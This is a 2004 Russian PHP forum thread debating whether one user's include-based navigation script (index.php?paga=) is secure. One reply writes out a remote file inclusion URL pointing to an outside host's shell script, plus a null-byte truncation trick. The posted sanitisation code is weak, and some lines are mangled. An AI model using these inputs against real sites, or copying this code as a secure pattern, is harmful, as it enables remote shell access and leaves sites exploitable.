Автор Тема: Система навигации типа index.php?paga=news  (Прочитано 6691 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн Trinux

  • Завсегдатай
  • Новичок
  • *
  • Сообщений: 37
  • +0/-0
  • 0
    • Просмотр профиля
    • http://www.tpcorp.net.ru
Мы всегда спорим насчет защиты на сайте. Я считаю что такой вид навигации очень надежен, мне не верят... Рассудите нас пожалуйсто... Вот пример того, как я использую этот пример и как я его защищаю...

<?
include 
"mysql.php";
include 
"functions.php";
$paga=substr($paga010);
$paga=htmlspecialchars($pagaENT_QUOTES);
$id=substr($id03);
$id=htmlspecialchars($idENT_QUOTES);
?>
<html>
<body>
<table width=100%>
  <tr>
    <td>
      <? include "header.php";?>
    </td>
  </tr>
  <tr>
    <td>
      <?
        $paga
=$_GET[\'paga\'];
        $paga=eregi_replace("/","",$paga);
        $paga=eregi_replace("http://","",$paga);

        if(empty($paga))
          include("./pages/news.php");
        elseif(file_exists("./pages/".basename($paga).".php"))
          include("./pages/".basename($paga).".php");
        else {
          $paga="error";
          include("./pages/error.php");
        }
      ?>
    </td>
  </tr>
  <tr>
    <td>
      <? include "footer.php";?>
    </td>
  </tr>
</table>
</body>
</html>
<? mysql_close($db);?>


Итак... давайте разберемся. Сначала я инклужу mysql и functions, это к делу отношение не имеет. Затем я обрезаю параметры $paga и $id lj 10 и 3 символов соответственно и заменяю все опасные символы (ковычки итп) на их коды. Не помню в какой системе. Зачем? позже объясню...
Далее идут хтмл теги, инклуд шапки и нижней части, а в середину я инклужу параметр $paga. По коду видно, что исходя из параметра, инклудится тот или иной файл из папки /pages/.
Вот и все. А теперь, почему он такой надежный...

1. $paga=$_GET[\'paga\']; тут все ясно. $paga присваевается переменная, переданная ГЕТом.

2. $paga=eregi_replace("/","",$paga);
$paga=eregi_replace("http://","",$paga);
В переменной $paga стираются (заменяются на пустоту) все слеши и "http://". Обычная ошибка - использование не eregi_replace а str_replace. При str_replace заменяются символы в строгом регистре, а в первом случае без учета регистра!
Исходя из этого, внешний инклуд уже не возможен!!! Локальный тоже, т.к. режутся все слеши. Можно также резать точки, но я использую их.

3. if(empty($paga)) проверяется значение на пустоту. Если $зфпф пустая, например в браузере набрано index.php без параметров, то грузится pages/news.php.

4. file_exists("./pages/".basename($paga).".php"). Сначала переменная $paga образается с помощью basename(), долго объяснять, прочтите ман... она выдерает из всей строки только имя конечного файла. Потом проверяется файл на существование. Если его нет, то грузится файл error.php. Если файл существует, то он инклудится.

5. На 4-ом пункте ничего не останавливается =))) Продолжаем. В начале вспомните строчки $paga=substr($paga, 0, 10);... Я рассказывал для чего они. А теперь смотрите!!! Когда мы обращаемся например к конкретной новости, например index.php?paga=news&id=5, то грузится то сначала index.php, а он в самом начале образает переменные $paga и $id, таким образом построев всю систему навигации в одном файле, можно лишь один раз указать какие переменные и как фильтровать и все!!! Вот в чем прелесть!!!

Хочется услышать ваши мнения о данном типе навигации, его недочеты. Может я что-то упустил, укажите пожалуйсто.

Оффлайн hanslinger

  • H2Oer
  • Ветеран
  • *****
  • Сообщений: 1148
  • +0/-0
  • 2
    • Просмотр профиля
    • http://www.orava.ru
Система навигации типа index.php?paga=news
« Ответ #1 : 06 Июня 2004, 05:34:15 »
Ну и ну...
1. Зачем? Что тебе мешает работать с $_GET[\'paga\']?
2. Во-первых, менять "/" на "" с использованием eregi довольно необычно. Во вторых, если ты используешь в 4. basename, то ЗАЧЕМ ты эти слеши режешь? Сам не пробовал, что получается?
4.
Цитировать
basename(), долго объяснять, прочтите ман...

Прочти его сначала сам и пойми, как эта функция работает.
5. А как ты, например, будешь менять заголовки страниц между тегами ? Неудобно.

Оффлайн Меняздесьдавнонет

  • новичЕк
  • Глобальный модератор
  • Ветеран
  • *****
  • Сообщений: 5698
  • +0/-0
  • 2
    • Просмотр профиля
    • http://
Система навигации типа index.php?paga=news
« Ответ #2 : 06 Июня 2004, 06:24:52 »
Цитировать
Мы всегда спорим

кто это мы?
с тобой тут никто не спорит - ты ростом спорить еще не вышел.
тебе просто указывают, как делать.
Цитировать
Хочется услышать ваши мнения о данном типе навигации

этот вид навигации кривой и тупой.
нормальные люди для навигации пишут просто - news.php index.php и обходятся вовсе без этих кошмарных скриптов.

Оффлайн CGVictor

  • теперь местный
  • Глобальный модератор
  • Ветеран
  • *****
  • Сообщений: 2511
  • +0/-0
  • 2
    • Просмотр профиля
    • http://cg.net.ru
Система навигации типа index.php?paga=news
« Ответ #3 : 06 Июня 2004, 16:03:12 »
RomikChef
[off]
Цитировать
RomikChef: нормальные люди для навигации пишут просто - news.php index.php и обходятся вовсе

А ЧПУ? Что же, и его на свалку?
[/off]
LJ: Backslashed life (rss)

Оффлайн r0ot

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 2
  • +0/-0
  • 0
    • Просмотр профиля
    • http://
Система навигации типа index.php?paga=news
« Ответ #4 : 06 Июня 2004, 16:09:24 »
CGVictor
что за убогий маленький шрифт :( очень трудно разглядеть на фоне

Оффлайн Меняздесьдавнонет

  • новичЕк
  • Глобальный модератор
  • Ветеран
  • *****
  • Сообщений: 5698
  • +0/-0
  • 2
    • Просмотр профиля
    • http://
Система навигации типа index.php?paga=news
« Ответ #5 : 06 Июня 2004, 16:22:45 »
CGVictor
а при чсем здесь цпу?
не умеешь научить руль вызывать нужный скрипт - так и скажи.

Оффлайн Trinux

  • Завсегдатай
  • Новичок
  • *
  • Сообщений: 37
  • +0/-0
  • 0
    • Просмотр профиля
    • http://www.tpcorp.net.ru
Система навигации типа index.php?paga=news
« Ответ #6 : 06 Июня 2004, 21:46:25 »
Че-то вы ребята бред несете полный!

2 hanslinger
Да, насчет eregi со слешем я поторопился. Хотя нет разницы в этом случае между eregi и str. Обрезаю слеши вместе с basename() потому что а кто его знает, что эти хакеры придумают! Вот например если сделать так
include "$paga.php";
И в строку написать index.php?paga=123.htm%00, то откроется не 123.htm.php, а именно 123.htm!!! И таких уязвимостей полно! А загаловок между титлами - да очень просто. Я лишь привел пример навигации... Чтобы изменить заголовок с помощью этого примера, достаточно использовать классы.

А просто $_GET[\'paga\'] использовать ваще нельзя! Грубейшая ошибка!!! Я пишу строку index.php?paga=http://www.zerkalodeface.narod.ru/rem.php3 и имею скриптовый шелл у вас на сайте!!!

2 RomikChef
Я разве сказал что я с вами спорю??? Или вы думаете что вы единственные программеры на земле?
Цитировать
этот вид навигации кривой и тупой.
нормальные люди для навигации пишут просто - news.php index.php и обходятся вовсе без этих кошмарных скриптов.

Полнейший бред. Твои news.php и index.php... ООП... слышал когданить такую обревеатуру? ООП тут, конечно, непричем, пока классов нет, но меня интерисовала именно навигация. А твая статика - лажа!

Оффлайн USE

  • Любитель
  • Ветеран
  • *****
  • Сообщений: 720
  • +0/-0
  • 2
    • Просмотр профиля
Система навигации типа index.php?paga=news
« Ответ #7 : 06 Июня 2004, 22:08:11 »
Цитировать
Trinux:
ООП... слышал когданить такую обревеатуру? ООП тут, конечно, непричем, пока классов нет, но меня интерисовала именно навигация

Очень смешно ;-) это в хумор надо!
Цитировать
Trinux:
А твая статика - лажа!

что сейчас будет...
Цитировать
Trinux:
всю систему навигации в одном файле

могу себе представить, во что превратится такой файл, когда надо будет сделать более-менее нормальный сайт. удобно будет его редактировать. это точно.
Не ходите, дети, без «Мозиллы» дальше localhost!

Оффлайн hanslinger

  • H2Oer
  • Ветеран
  • *****
  • Сообщений: 1148
  • +0/-0
  • 2
    • Просмотр профиля
    • http://www.orava.ru
Система навигации типа index.php?paga=news
« Ответ #8 : 06 Июня 2004, 22:09:57 »
Про basename: а как ты думаешь, что тебе выдаст эта функция, если обрезать слеши? Есть ли смысл ее использовать? По какому, по-твоему, принципу она выдирает этот самый basename? Если я напишу "http://vasya.ru/file.php", то у тебя радостно выползет "http:vasya.rufile.php". Оно тебе надо?
Цитировать

А просто $_GET[\'paga\'] использовать ваще нельзя! Грубейшая ошибка!!! Я пишу строку index.php?paga=http://www.zerkalodeface.narod.ru/rem.php3 и имею скриптовый шелл у вас на сайте!!!

А какие суровые обстоятельства мешают тебе работать с $_GET[\'page\'] вместо твоей $paga? Почему не написать, например,

$_GET
[\'page\']=eregi_replace("/","",$_GET[\'page\']);

???

ЗЫ слушай, "обревеатура", как ты связываешь с ООП свои "$pag\'и"? При чем здесь это? Сам-то понимаешь, что говоришь?

Оффлайн Trinux

  • Завсегдатай
  • Новичок
  • *
  • Сообщений: 37
  • +0/-0
  • 0
    • Просмотр профиля
    • http://www.tpcorp.net.ru
Система навигации типа index.php?paga=news
« Ответ #9 : 06 Июня 2004, 22:28:02 »
2 hanslinger
Чесно говоря плохо понимаю. Про basename и слеши че-то я поспешил =) внатуре ерунда.

2 USE
Не умничай. index.php на сайте http://www.soft.dsx.ru занял 186 срок. Он маленький и редактировать его удобно.

2 All
Ну а тогда что??? Что вы предлогаете??? Писать в каждом файле проверку параметров???

Оффлайн Trinux

  • Завсегдатай
  • Новичок
  • *
  • Сообщений: 37
  • +0/-0
  • 0
    • Просмотр профиля
    • http://www.tpcorp.net.ru
Система навигации типа index.php?paga=news
« Ответ #10 : 06 Июня 2004, 22:56:29 »
2 USE
Блин... не туда посмотрел. index.php на soft.dsx.ru занимает 38 строчек.

Оффлайн Neter

  • Жустер
  • Старожил
  • ****
  • Сообщений: 324
  • +0/-0
  • 2
    • Просмотр профиля
Система навигации типа index.php?paga=news
« Ответ #11 : 06 Июня 2004, 23:01:48 »
А разве нельзя скажем завести файлик в котором хранились бы алиасы с сопоставленными им именами файлов?
Потом парой строк это всё-бы разруливалось. И ненадо никаких резаний слешов, если есть такой алиас, грузим, если нет грузим индекс или говорим об этом.
Trinux Подумай над этим, мне например не очень нравится твой способ сделать глупую нафигацию.
Мне тормоз послужил толчком...

Оффлайн r0ot

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 2
  • +0/-0
  • 0
    • Просмотр профиля
    • http://
Система навигации типа index.php?paga=news
« Ответ #12 : 06 Июня 2004, 23:32:58 »
2 USE
почему в хумор ? смешного ничего не вижу

Оффлайн Меняздесьдавнонет

  • новичЕк
  • Глобальный модератор
  • Ветеран
  • *****
  • Сообщений: 5698
  • +0/-0
  • 2
    • Просмотр профиля
    • http://
Система навигации типа index.php?paga=news
« Ответ #13 : 07 Июня 2004, 00:29:35 »
в хумор-не в хумор, но с человеком, который несет подобный бред, беседовать не о чем.

все свободны.

 

Sitemap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28